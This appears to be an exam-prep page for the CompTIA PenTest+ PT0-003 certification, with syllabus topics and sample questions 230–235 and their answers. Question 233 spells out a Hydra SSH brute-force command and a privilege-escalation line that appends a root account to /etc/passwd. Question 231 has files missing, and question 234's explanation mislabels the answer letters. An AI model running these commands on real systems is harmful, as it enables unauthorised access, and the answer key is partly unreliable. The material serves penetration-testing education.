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CompTIA PT0-003 Exam Syllabus Topics:

Topic
Details

Topic 1

Engagement Management: In this topic, cybersecurity analysts learn about pre-engagement activities, collaboration, and communication in a penetration testing environment. The topic covers testing frameworks, methodologies, and penetration test reports. It also explains how to analyze findings and recommend remediation effectively within reports, crucial for real-world testing scenarios.

Topic 2

Post-exploitation and Lateral Movement: Cybersecurity analysts will gain skills in establishing and maintaining persistence within a system. This topic also covers lateral movement within an environment and introduces concepts of staging and exfiltration. Lastly, it highlights cleanup and restoration activities, ensuring analysts understand the post-exploitation phase’s responsibilities.

Topic 3

Reconnaissance and Enumeration: This topic focuses on applying information gathering and enumeration techniques. Cybersecurity analysts will learn how to modify scripts for reconnaissance and enumeration purposes. They will also understand which tools to use for these stages, essential for gathering crucial information before performing deeper penetration tests.

Topic 4

Attacks and Exploits: This extensive topic trains cybersecurity analysts to analyze data and prioritize attacks. Analysts will learn how to conduct network, authentication, host-based, web application, cloud, wireless, and social engineering attacks using appropriate tools. Understanding specialized systems and automating attacks with scripting will also be emphasized.

Topic 5

Vulnerability Discovery and Analysis: In this section, cybersecurity analysts will learn various techniques to discover vulnerabilities. Analysts will also analyze data from reconnaissance, scanning, and enumeration phases to identify threats. Additionally, it covers physical security concepts, enabling analysts to understand security gaps beyond just the digital landscape.

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CompTIA PenTest+ Exam Sample Questions (Q230-Q235):

NEW QUESTION # 230
A penetration tester runs the unshadow command on a machine. Which of the following tools will the tester most likely use NEXT?

A. Mimikatz
B. Cain and Abel
C. Hydra
D. John the Ripper

Answer: D

Explanation:
Reference: https://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/

NEW QUESTION # 231
A penetration tester discovered a vulnerability that provides the ability to upload to a path via directory traversal. Some of the files that were discovered through this vulnerability are:

Which of the following is the BEST method to help an attacker gain internal access to the affected machine?

A. Download the smb.conf file and look at configurations
B. Edit the discovered file with one line of code for remote callback
C. Edit the smb.conf file and upload it to the server
D. Download .pl files and look for usernames and passwords

Answer: C

NEW QUESTION # 232
A penetration tester wants to check the security awareness of specific workers in the company with targeted attacks. Which of the following attacks should the penetration tester perform?

A. Spear phishing
B. Tailgating
C. Phishing
D. Whaling

Answer: A

Explanation:
Spear phishing is a targeted email attack aimed at specific individuals within an organization.
Unlike general phishing, spear phishing is personalized and often involves extensive reconnaissance to increase the likelihood of success.

NEW QUESTION # 233
A previous penetration test report identified a host with vulnerabilities that was successfully exploited. Management has requested that an internal member of the security team reassess the host to determine if the vulnerability still exists.

Part 1:
. Analyze the output and select the command to exploit the vulnerable service.
Part 2:
. Analyze the output from each command.
Select the appropriate set of commands to escalate privileges.
Identify which remediation steps should be taken.

Answer:

Explanation:
See the Explanation below for complete solution.
Explanation:
The command that would most likely exploit the services is:
hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22
The appropriate set of commands to escalate privileges is:
echo "root2:5ZOYXRFHVZ7OY::0:0:root:/root:/bin/bash" >> /etc/passwd
The remediations that should be taken after the successful privilege escalation are:
* Remove the SUID bit from cp.
* Make backup script not world-writable.
Comprehensive Step-by-Step Explanation of the Simulation
Part 1: Exploiting Vulnerable Service
* Nmap Scan Analysis
* Command: nmap -sC -T4 192.168.10.2
* Purpose: This command runs a default script scan with timing template 4 (aggressive).
* Output:
bash
Port State Service
22/tcp open ssh
23/tcp closed telnet
80/tcp open http
111/tcp closed rpcbind
445/tcp open samba
3389/tcp closed rdp
Ports open are SSH (22), HTTP (80), and Samba (445).
* Enumerating Samba Shares
* Command: enum4linux -S 192.168.10.2
* Purpose: To enumerate Samba shares and users.
* Output:
makefile
user:[games] rid:[0x3f2]
user:[nobody] rid:[0x1f5]
user:[bind] rid:[0x4ba]
user:[proxy] rid:[0x42]
user:[syslog] rid:[0x4ba]
user:[www-data] rid:[0x42a]
user:[root] rid:[0x3e8]
user:[news] rid:[0x3fa]
user:[lowpriv] rid:[0x3fa]
We identify a user lowpriv.
* Selecting Exploit Command
* Hydra Command: hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22
* Purpose: To perform a brute force attack on SSH using the lowpriv user and a list of the 500 worst passwords.
* Explanation:
* -l lowpriv: Specifies the username.
* -P 500-worst-passwords.txt: Specifies the password list.
* -t 4: Uses 4 tasks/threads for the attack.
* ssh://192.168.10.2:22: Specifies the SSH service and port.
* Executing the Hydra Command
* Result: Successful login as lowpriv user if a match is found.
Part 2: Privilege Escalation and Remediation
* Finding SUID Binaries and Configuration Files
* Command: find / -perm -2 -type f 2>/dev/null | xargs ls -l
* Purpose: To find world-writable files.
* Command: find / -perm -u=s -type f 2>/dev/null | xargs ls -l
* Purpose: To find files with SUID permission.
* Command: grep "/bin/bash" /etc/passwd | cut -d':' -f1-4,6,7
* Purpose: To identify users with bash shell access.
* Selecting Privilege Escalation Command
* Command: echo "root2:5ZOYXRFHVZ7OY::0:0:root:/root:/bin/bash" >> /etc/passwd
* Purpose: To create a new root user entry in the passwd file.
* Explanation:
* root2: Username.
* 5ZOYXRFHVZ7OY: Password hash.
* ::0:0: User and group ID (root).
* /root: Home directory.
* /bin/bash: Default shell.
* Executing the Privilege Escalation Command
* Result: Creation of a new root user root2 with a specified password.
* Remediation Steps Post-Exploitation
* Remove SUID Bit from cp:
* Command: chmod u-s /bin/cp
* Purpose: Removing the SUID bit from cp to prevent misuse.
* Make Backup Script Not World-Writable:
* Command: chmod o-w /path/to/backup/script
* Purpose: Ensuring backup script is not writable by all users to prevent unauthorized modifications.
Execution and Verification
* Verifying Hydra Attack:
* Run the Hydra command and monitor for successful login attempts.
* Verifying Privilege Escalation:
* After appending the new root user to the passwd file, attempt to switch user to root2 and check root privileges.
* Implementing Remediation:
* Apply the remediation commands to secure the system and verify the changes have been implemented.
By following these detailed steps, one can replicate the simulation and ensure a thorough understanding of both the exploitation and the necessary remediations.

NEW QUESTION # 234
A tester is working on an engagement that has evasion and stealth requirements. Which of the following enumeration methods is the least likely to be detected by the IDS?

A. proxychains nmap -sV -T2 <target>
B. nmap -sV -T2 <target>
C. curl https://api.shodan.io/shodan/host/search?key=<API_KEY>&query=hostname:<target>
D. for i in <target>; do curl -k $i; done

Answer: C

Explanation:
* Option A uses Shodan's API to gather information about a target without directly touching the target system. This makes it the stealthiest option as there's no traffic generated from the tester's IP to the target.
* Options B & D use Nmap which is active scanning, and while -T2 reduces intensity, it still generates packets.
* Option C is a custom curl script that also interacts directly with the target and can trigger IDS alerts.
CompTIA PenTest+ Reference:
* PT0-003 Objective 2.1 & 2.3: Passive vs Active reconnaissance techniques.
* Using OSINT sources like Shodan is a key stealth recon method.

NEW QUESTION # 235
......

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